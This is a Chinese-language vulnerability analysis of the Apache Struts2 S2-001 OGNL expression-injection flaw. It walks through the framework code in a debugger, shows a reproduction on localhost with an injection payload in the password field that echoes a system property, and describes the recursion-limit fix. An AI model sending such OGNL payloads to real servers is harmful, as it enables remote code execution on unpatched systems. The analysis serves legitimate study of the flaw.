

前置知识

Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品，是在struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

1. OGNL (Object Graph Navigation Language) 对象导航图语言

Struts2框架使用OGNL作为默认的表达式语言，OGNL (Object Graph Navigation Language)，是一种表达式语言，目的是为了在不能写Java代码的地方执行java代码；主要作用是用来存数据和取数据的。

2. 关于Xwork、ActionContext、OgnlValueStack相关知识可以参考链接：<https://milkfr.github.io/java/2019/02/04/java-struts2-4/>

版本影响

2.0.1 ~ 2.0.8

漏洞原理

处理登陆问题上，验证失败返回原界面，在处理回显时，框架解析JSP页面标签时会对用户输入的Value值获取，在获取对应的Value值中递归解析 %{} 造成了二次解析，最终触发表达式注入漏洞，执行任意代码。

程序入口

struts 2.0.8中Web.xml配置 org.apache.struts2.dispatcher.FilterDispatcher 为程序入口点，执行doFilter方法.在其中较关键创建OgnlValueStack，并添加相应的数据。

OgnlValueStack创建和数据载入

在Ognl解析表达式中存在关键的三要素 expr、root、Context ，在expr为可解析的表达式需要符合相关语法。接着需要关注root、Context如何载入到对象中。根据框架的分析可知Struts2中利用OgnlValueStack存储数据栈，而在创建之后将相关参数插入进root与Context。

跟进程序入口点 FilterDispatcher.doFilter->this.dispatcher.serviceAction(...) 中会先调用 this.createContextMap

Dispatcher.createContextMap 会获取当前请求的参数并以 Map 形式保存，最后载入 extracontext 中。

The screenshot displays the source code of the `createContextMap` method in `org.apache.struts2.dispatcher` and its runtime state in the IDE's Variables window.

Source Code (createContextMap):

```
356 public Map<String, Object> createContextMap(HttpServletRequest request, HttpServletResponse response, ActionMapping
357     Map requestMap = new RequestMap(request); requestMap: size = 0
358     Map params = null; params: null
359     if (mapping != null) {
360         params = mapping.getParams(); mapping: ActionMapping@3371
361     }
362
363     Map requestParams = new HashMap(request.getParameterMap()); requestParams: size = 2 request: StrutsRequestWr
364     if (params != null) { params: null
365         ((Map)params).putAll(requestParams);
366     } else {
367         params = requestParams;
368     }
369
370     Map session = new SessionMap(request);
371     Map application = new ApplicationMap(context);
372     Map<String, Object> extraContext = this.createContextMap(requestMap, (Map)params, session, application, request,
```

Variables Window:

The Variables window shows the state of the `this` object and its associated request, response, mapping, and context. The `requestParams` map is highlighted with a red box, showing the parameters `password` and `username`.

```
> this = {Dispatcher@3347}
> request = {StrutsRequestWrapper@3368}
> response = {ResponseFacade@3341}
> mapping = {ActionMapping@3371}
  > name = {String@3405} "login"
  > namespace = {String@3406} "/"
  > method = null
  > params = null
  > result = null
> context = {ApplicationContextFacade@3369}
  requestMap = {RequestMap@3378} size = 0
  params = null
  requestParams = {HashMap@3408} size = 2
    {String@3413} "password" -> {String[1]@3414}
    {String@3415} "username" -> {String[1]@3416}
```

接着会获取当前访问的命名空间、文件名、方法名

在初始化 ActionProxy 时会创建一个 OgnlValueStack 实例(DefaultActionInvocation.createContextMap())

接着会将extraContext通过putAll存放在stack.Context中。

306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328

```
if ((extraContext != null) && (extraContext.containsKey(ActionContext.VALUE_STACK))) {  
    // In case the ValueStack was passed in  
    stack = (ValueStack) extraContext.get(ActionContext.VALUE_STACK); extraContext: size = 13  
  
    if (stack == null) {  
        throw new IllegalStateException("There was a null Stack set into the extra params.");  
    }  
  
    contextMap = stack.getContext();  
} else {  
    // create the value stack  
    // this also adds the ValueStack to its context  
    stack = ValueStackFactory.getFactory().createValueStack();  
  
    // create the action context  
    contextMap = stack.getContext(); stack: 0gnlValueStack@3457  
}  
  
// put extraContext in  
if (extraContext != null) {  
    contextMap.putAll(extraContext);  
}
```

Localhost Log × Tomcat Catalina Log ×

Variables

in group "main": RUNNING

ltActionInvocation (com.opensymphony.xwork2)
ion (com.opensymphony.xwork2)
nInvocation (com.opensymphony.xwork2)
nvocation\$1 (com.opensymphony.xwork2)
om.opensymphony.xwork2.util.profilin
tion (com.opensymphony.xwork2)
xy (com.opensymphony.xwork2)
ctionProxyFactory (org.apache.struts2.impl)
r (org.apache.struts2.dispatcher)
(org.apache.struts2.dispatcher)
onFilterChain (org.apache.catalina.core)
Chain (org.apache.catalina.core)
Valve (org.apache.catalina.core)
lve (org.apache.catalina.core)
(org.apache.catalina.core)

> {String@3482} "struts.actionMapping" -> {ActionMapping@3371}
> {String@3483} "session" -> {SessionMap@3484} size = 0
> {String@3485} "com.opensymphony.xwork2.dispatcher.HttpServletRequest" -> {StrutsRequestWrapper@3368}
> {String@3486} "com.opensymphony.xwork2.dispatcher.HttpServletResponse" -> {ResponseFacade@3341}
> {String@3487} "com.opensymphony.xwork2.ActionContext.parameters" -> {HashMap@3488} size = 2
> {String@3489} "com.opensymphony.xwork2.dispatcher.ServletContext" -> {ApplicationContextFacade@3369}
> {String@3490} "com.opensymphony.xwork2.ActionContext.application" -> {ApplicationMap@3491} size = 8
> {String@3492} "com.opensymphony.xwork2.ActionContext.session" -> {SessionMap@3484} size = 0
> {String@3493} "application" -> {ApplicationMap@3491} size = 8
> {String@3495} "attr" -> {AttributeMap@3496} Unable to evaluate the expression Method threw 'java.lang.UnsupportedOperationException'
v {String@3497} "parameters" -> {HashMap@3498} size = 2
 value = {HashMap@3498} size = 2
 {String@3596} "password" -> {String[1]@3597}
 value = {String[1]@3597}
 0 = {String@3600} "%{tomcatBinDir}"+@java.lang.System@getProperty("user.dir")+""
 key = {String@3596} "password"

调用push将当前访问生成的实例化Action存入stack.root中.但是这时生成的Action并没有设置上 username 与 password

```

362 private void init() throws Exception {
363     Map contextMap = createContextMap(); contextMap: size = 15
364
365     createAction(contextMap); contextMap: size = 15
366
367     if (pushAction) { pushAction: true
368         stack.push(action); stack: OgnlValueStack@3457 action: LoginAction@3648
369     }
370
371     invocationContext = new ActionContext(contextMap);
372     invocationContext.setName(proxy.getActionName());
373
374     // get a new List so we don't get problems with the iterator if someone changes the list
375     List interceptorList = new ArrayList(proxy.getConfig().getInterceptors());
376     interceptors = interceptorList.iterator();
377 }

```

cat Localhost Log x Tomcat Catalina Log x

2...in group "main": RUNNING

Variables

- > this = {DefaultActionInvocation@3460}
- > contextMap = {OgnlContext@3459} size = 15
- > invocationContext = null
- > stack = {OgnlValueStack@3457}
- > action = {LoginAction@3648}
 - username = null
 - password = null
 - textProvider = {TextProviderSupport@3649}
 - validationAware = {ValidationAwareSupport@3650}
- pushAction = true

ParametersInterceptor载入参数

ParametersInterceptor拦截器又继承自MethodFilterInterceptor，其主要功能是把ActionContext中的请求参数设置到ValueStack中，如果栈顶是当前Action则把请求参数设置到了Action中，如果栈顶是一个model(Action实现了ModelDriven接口)则把参数设置到了model中。

跟进代码看下究竟

ParametersInterceptor.doIntercept 会从ActionContext上下文中取出 parameters

```

141 public String doIntercept(ActionInvocation invocation) throws Exception { invocation: DefaultActionInvocation@3406
142     Object action = invocation.getAction(); action: LoginAction@3418
143     if (!(action instanceof NoParameters)) {
144         .ActionContext ac = invocation.getInvocationContext(); ac: ActionContext@3475 invocation: DefaultActionInvocation@3406
145         final Map parameters = ac.getParameters(); parameters: size = 2
146
147         if (LOG.isDebugEnabled()) {
148             LOG.debug("Setting params " + getParameterLogMap(parameters));
149         }
150
151         if (parameters != null) {
152             Map contextMap = ac.getContextMap(); contextMap: size = 21
153             try {
154                 OgnlContextState.setCreatingNullObjects(contextMap, creatingNullObjects: true);
155                 OgnlContextState.setDenyMethodExecution(contextMap, denyMethodExecution: true);
156                 OgnlContextState.setReportingConversionErrors(contextMap, reportingErrors: true); contextMap: size = 21
157
158                 ValueStack stack = ac.getValueStack(); stack: OgnlValueStack@3409 ac: ActionContext@3475
159                 setParameters(action, stack, parameters); action: LoginAction@3418 stack: OgnlValueStack@3409 parameters: size = 2
160             } finally {

```

跟进 ParametersInterceptor.setParameters 一路跟进在 OgnlRuntime.setMethodValue 中根据propertyName获取该属性的set方法.接着执行 OgnlRuntime.callAppropriateMethod 反射执行 setPassword 方法

```

public static final boolean setMethodValue(OgnlContext context, Object target, String propertyName, Object value, boolean checkAccessAndExistence) {
    boolean result = true; result: true
    Method m = getSetMethod(context, (target == null) ? null : target.getClass(), propertyName); m: "public void Action.LoginAction.setPassword(java.lang.String)"

    if (checkAccessAndExistence) { checkAccessAndExistence: true
        if ((m == null) || !context.getMemberAccess().isAccessible(context, target, m, propertyName)) {
            result = false;
        }
    }

    if (result) { result: true
        if (m != null) {
            Object[] args = objectArrayPool.create(value); args: Object[1]@3437 value: {"password"}

            try {
                callAppropriateMethod(context, target, target, m.getName(), propertyName, Collections.nCopies(n: 1, m), args); context: size = 21
            } finally {
                objectArrayPool.recycle(args);
            }
        } else {
            result = false;
        }
    }
}

```

Tomcat Catalina Log

Variables

- static members of OgnlRuntime
- context = {OgnlContext@3404} size = 21
- target = {LoginAction@3418}
- propertyName = {String@3435} "password"
- value = {String[1]@3441}
- checkAccessAndExistence = true
- result = true
- m = {Method@3422} "public void Action.LoginAction.setPassword(java.lang.String)"
 - clazz = {Class@3157} "class Action.LoginAction" ... Navigate
 - slot = 0 (0x0)
 - name = {String@3425} "setPassword"
 - returnType = {Class@3426} "void" ... Navigate
 - parameterTypes = {Class[1]@3427}

执行Action

在一系列拦截器执行完毕后，调用DefaultActionInvocation.invokeActionOnly()执行Action操作.继续跟进 DefaultActionInvocation.invokeAction 会先获取需要执行该Action实例的方法，该方法在创建ActionProxy获取，没有制定方法时，会默认调用 execute 方法，接着会反射执行 LoginAction.execute()

```

379 protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception { action: LoginAction@3418 ac
380     String methodName = proxy.getMethod(); methodName: "execute"
381
382     if (LOG.isDebugEnabled()) {
383         LOG.debug("Executing action method = " + actionConfig.getMethodName()); actionConfig: "{ActionConfig Action.Log
384     }
385
386     String timerKey = "invokeAction: "+proxy.getActionName(); timerKey: "invokeAction: login" proxy: StrutsActionProxy
387     try {
388         UtilTimerStack.push(timerKey); timerKey: "invokeAction: login"
389
390         Method method; method: "public java.lang.String Action.LoginAction.execute() throws java.lang.Exception"
391         try {
392             method = getAction().getClass().getMethod(methodName, new Class[0]);
393         } catch (NoSuchMethodException e) {
394             // hmm -- OK, try doXxx instead
395             try {
396                 String altMethodName = "do" + methodName.substring(0, 1).toUpperCase() + methodName.substring(1); metho
397                 method = getAction().getClass().getMethod(altMethodName, new Class[0]);
398             } catch (NoSuchMethodException e1) {
399                 // throw the original one
400                 throw e;
401             }
402         }
403
404         Object methodResult = method.invoke(action, new Object[0]); method: "public java.lang.String Action.LoginAction
405         if (methodResult instanceof Result) {
406             this.result = (Result) methodResult;

```

Result处理

当执行execute返回"error"作为ResultCode返回, (可以看作账号验证失败仍然停留在登陆界面), 执行StrutsResultSupport.doExcute()后框架将会开始处理页面回显, 而其中会调用中间件tomcat调度器ApplicationDispatcher由于访问jsp文件, 会调用 JspServlet 处理请求。接着Struts2会利用doStartTag、doEndTag解析标签。

通过向页面请求

```
username=1&password=%25-{%40java.lang.System%40getProperty("user.dir")}
```

进入doEndTag解析标签

```
<s:textfield name="password" label="password" />
```

进入UIBean解析公共标签, 满足IF语句后会对password拼接 %{ 字符串为 %{password} .

```

293     if (this.parameters.containsKey("value")) {
294         this.parameters.put("nameValue", this.parameters.get("value"));
295     } else if (this.evaluateNameValue()) {
296         Class valueClazz = this.getValueClassType(); valueClazz: "class java.lang.String"
297         if (valueClazz != null) {
298             if (this.value != null) {
299                 this.addParameter("nameValue", this.findValue(this.value, valueClazz)); value: null
300             } else if (name != null) {
301                 String expr = name; expr: "%{password}"
302                 if (this.altSyntax()) {
303                     expr = "%{" + name + "}"; name: "password"
304                 }
305             }
306             this.addParameter("nameValue", this.findValue(expr, valueClazz)); expr: "%{password}" valueClazz: "
307         }
308     } else if (this.value != null) {

```

之后会进入 `TextParseUtil.translateVariables` 递归判断当前返回字符串是否含有 `%{}` 字符串,满足的话会剔除掉 `%{}` , 执行 `findValue` 方法, 从当前值栈中找到 `password` 获得对应的值 `%{@java.lang.System@getProperty("user.dir")}`

```

228 public Object findValue(String expr, Class asType) { expr: "password" asType: "class java.lang.String"
229     try {
230         if (expr == null) {
231             return null;
232         }
233
234         if ((overrides != null) && overrides.containsKey(expr)) {
235             expr = (String) overrides.get(expr); overrides: null
236         }
237
238         Object value = OgnlUtil.getValue(expr, context, root, asType); value: "%{@java.lang.System@getProperty("user.dir")}" expr: "password"
239         if (value != null && true) { value: "%{@java.lang.System@getProperty("user.dir")}"
240             return value;
241         } else {

```

由于 `TextParseUtil.translateVariables` 的递归判断, 会再一次执行获得的值 `%{@java.lang.System@getProperty("user.dir")}` 造成二次解析, 最后将结果保存值 `parameters.nameValue` .在解析模版时会获取 `parameters.nameValue` 值, 将执行代码的结果输出到浏览器上.

```
<input type="text"<#rt/>
  name="${parameters.name?default("")?html}"<#rt/>
<#if parameters.get("size")?exists>
  size="${parameters.get("size")?html}"<#rt/>
</#if>
<#if parameters.maxLength?exists>
  maxLength="${parameters.maxLength?html}"<#rt/>
</#if>
<#if parameters.nameValue?exists>
  value="<@s.property value="parameters.nameValue"/>"<#rt/>
</#if>
<#if parameters.disabled?default(false)>
  disabled="disabled"<#rt/>
</#if>
<#if parameters.readonly?default(false)>
  readonly="readonly"<#rt/>
</#if>
<#if parameters.tabindex?exists>
  tabindex="${parameters.tabindex?html}"<#rt/>
</#if>
<#if parameters.id?exists>
  id="${parameters.id?html}"<#rt/>
</#if>
<#if parameters.cssClass?exists>
```

漏洞复现

Raw	Params	Headers	Hex
1	POST	/struts2_1_war_exploded/login.action	HTTP/1.1
2	Host:	localhost:8085	
3	User-Agent:	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0	
4	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8	
5	Accept-Language:	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	
6	Accept-Encoding:	gzip, deflate	
7	Content-Type:	application/x-www-form-urlencoded	
8	Content-Length:	70	
9	Origin:	http://localhost:8085	
10	DNT:	1	
11	Connection:	close	
12	Referer:	http://localhost:8085/struts2_1_war_exploded/index.jsp	
13	Cookie:	JSESSIONID=53051E893A07BAC4EC1FD7B3CC64B99E	
14	Upgrade-Insecure-Requests:	1	
15			
16	username=l&password=%25{%40java.lang.System%40getProperty("user.dir")}		

Raw	Headers	Hex	HTML	Render
1	HTTP/1.1	200		
2	Set-Cookie:	JSESSIONID=99ED432736C3B1CE80480EDDA7251D7;		
3	Path=	/struts2_1_war_exploded; HttpOnly		
4	Content-Type:	text/html; charset=UTF-8		
5	Date:	Thu, 10 Dec 2020 12:02:06 GMT		
6	Connection:	close		
7	Content-Length:	1129		
8				
9				
10			<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">	
11			<html>	
12			<head>	
13			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">	
14			<title>S2-001</title>	
15			</head>	
16			<body>	
17			<h2>S2-001 Demo</h2>	
18			<p>link: https://cwiki.apache.org/confluence/display/WW/S2-001</p>	
19				
20			<form id="login" name="login" onsubmit="return true;" action="/struts2_1_war_exploded/login.action" method="post">	
21			<table class="wwFormTable">	
22			<tr>	
23			<td class="tdLabel"><label for="login_username" class="label">username:</label></td>	
24			<td>	
25			><input type="text" name="username" value="1" id="login_username"/>	
26			</td>	
27			</tr>	
28				
29			<tr>	
30			<td class="tdLabel"><label for="login_password" class="label">password:</label></td>	
31			<td>	
32			><input type="text" name="password" value="sturts2_pro/apache-tomcat-8.5.60/bin">	
33			</td>	
34			</tr>	
35				
36			<tr>	
37			<td colspan="2"><div align="right"><input type="submit" id="login_0" value="Submit"/></div></td>	
38			</tr>	
39				

修复

TextParseUtil.translateVariables 限制递归，仅解析一次表达式

```

int loopCount = 1;
int pos = 0;

....

....

if(loopCount > maxLoopCount){

    break;
}

```

总结

其实这是第二遍分析s2-001漏洞，在调试一遍学到很多，主要从框架出发来看待这个问题.

1.ThreadLocal设计模式，保证线程安全，使得每次拿到的ActionContext不受影响.

2.二次解析漏洞挖掘思路，分析至此，究其原因在于递归调用，最后在调用stack.findValue时会解析表达式.(或许写个全局搜findValue有惊喜呢)

3.过一遍文档和框架的生命周期在搭环境和理解代码也会有帮助.

该篇文章没有对Ognl如何解析表达式进一步分析，感觉有点麻烦，后续单独切一个知识点来学习.